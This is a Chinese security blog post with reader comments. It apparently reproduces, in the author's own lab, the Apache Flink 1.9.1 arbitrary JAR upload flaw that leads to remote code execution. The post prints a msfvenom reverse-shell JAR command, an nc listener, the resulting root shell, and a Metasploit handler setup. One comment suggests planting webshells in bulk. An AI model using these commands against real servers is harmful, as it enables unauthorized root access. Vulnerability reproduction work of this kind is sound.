周三的时候,安全网站上看到有一个新爆出的关于Aapche Flink的JAR包上传导致任意代码执行的漏洞。周四在看的时候已经出了一部分POC和抓取相关漏洞机器的代码,放在编译器里跑了一下好像不行。最后在周五的时候找了相关Apache环境复现一下这个漏洞。其实到现在漏洞出现才第二天,很多机器仍存在这个问题,谨慎使用,最后附上Github上批量检测脚本。
如有错误的地方,请大佬们指出,我将马上更改,同时感谢各个平台大佬们发布的资料及文件。
恶意JAR包上传,导致任意命令执行,反弹shell为root权限。
属于高危漏洞
Apache Flink的任意Jar包上传导致远程代码执行的漏洞。攻击者只需要自己定制一个恶意jar上传,即可达到攻击目的。
影响版本:
<= 1.9.1(最新版本)
镜像下载地址:
https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
Apache Flink相关描述:
在网站上下载相关的版本的tgz包,解压到Kali上
Cd 到解压文件的bin目录下
root@kali:~/Desktop/flink-1.9.1/bin# ./start-cluster.sh
Starting cluster.
Starting standalonesession daemon on host kali.
Starting taskexecutor daemon on host kali.
root@kali:~/Desktop/flink-1.9.1/bin# service apache2 start【开启Apache服务】
打开http://ip地址:8081进入apache flink的默认管理目录
Kali生成恶意jar包,并且输出到桌面:
root@kali:~/Desktop/flink-1.9.1/bin# msfvenom -p java/shell_reverse_tcp lhost=192.168.28.139 lport=5555 -f jar >/root/Desktop/shell.jar
Cat shell.jsp也可以查看源码
剩下要做的就是在默认的flink管理目录下点击submit new job上传恶意jar包
同时nc -nlvp 5555 ,监听5555端口
root@kali:~/Desktop/flink-1.9.1/bin# nc -nlvp 5555
listening on [any] 5555 …
connect to [192.168.28.139] from (UNKNOWN) [192.168.28.139] 36302
id
uid=0(root) gid=0(root) 组=0(root)
whoami
root
pwd
/root/Desktop/flink-1.9.1/bin
成功反弹shell,同时是root权限
第二种反弹shell的方式
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload java/shell_reverse_tcp
payload => java/shell_reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.28.139
lhost => 192.168.28.139
msf5 exploit(multi/handler) > set lport 5555
lport => 5555
msf5 exploit(multi/handler) > run
反弹shell
导入python模块显示用户
Github源码网站:
参考文献/资料来源:
https://blog.csdn.net/sun1318578251/article/details/103056168
Tips:漏洞前天才出来,现在仍有大量网站存在这样的漏洞,大佬们小心的玩。
对上传的jar包内容进行前端和后端校验
或者开设登录8081时界面的身份验证
更多专业的等方法,等补丁的发布。
小白第一次记录学习笔记,希望大佬们给予更多的建议和技术上的帮助。谢谢~
*本文作者:ShShroudroud,转载请注明来自FreeBuf.COM
11月 上海
CIS 2019首席信息安全官闭门高峰论坛11月
CIS 2019议题抢先看10月
公开课双十一活动9月 上海
CIS 2019官网上线,早鸟票同步开售
已有 17 条评论
flink今年是真的火
难道不需要登录?
@ noway 谷歌hack有些apache的8081可以直接进,但是现在不知道了。(当时进去基本上每个站都被人搞过了)
都出来一周多了,还前天?我笑了笑
@ 小白 不好意思啦~因为上传需要论坛审核,时间线拉的比较久,文中也没有正确描述。之后会注意.
佛了flink就是这功能…,还到处预警,鉴权才是主要的
@ 玄道 谢谢~小白仍在继续学习中。
警告:完整复现过程
@ 网络安全威胁信息管理 您好,不好意思小白第一次发帖,不清楚流程和规章制度,如果文章存在问题或者其他,您提,我马上进行更改或者删除。
如果能突破写webshell,才是正道,可以批量刷
@ 1u0hun 谢谢大佬指点,因为不是特别熟悉 我还需要更加努力的学习。
到漏洞出现到现在已经有段时间了
但不排除仍有网站机器存在这类漏洞
*文中涉及的方法,只为交流学习之用。如有人用于非法用途,产生的后果笔者不负任何责任。
文章中涉及时间的词汇,因第一次发帖没考虑到审核的因素,导致部分内容不切实际,不好意思了。
各位师傅,大佬们如果看出有什么问题,我将及时改正,同时谢谢您能空出几分钟,看这篇文章。
谢谢各位师傅。
不错,你是真的聪明
汉哥牛逼
ubantu上可以吗
@ xkailove 可以的吧。涉及到java的环境,提前安装好java(需要java8以上),然后安装apache flink环境的压缩包就行啦~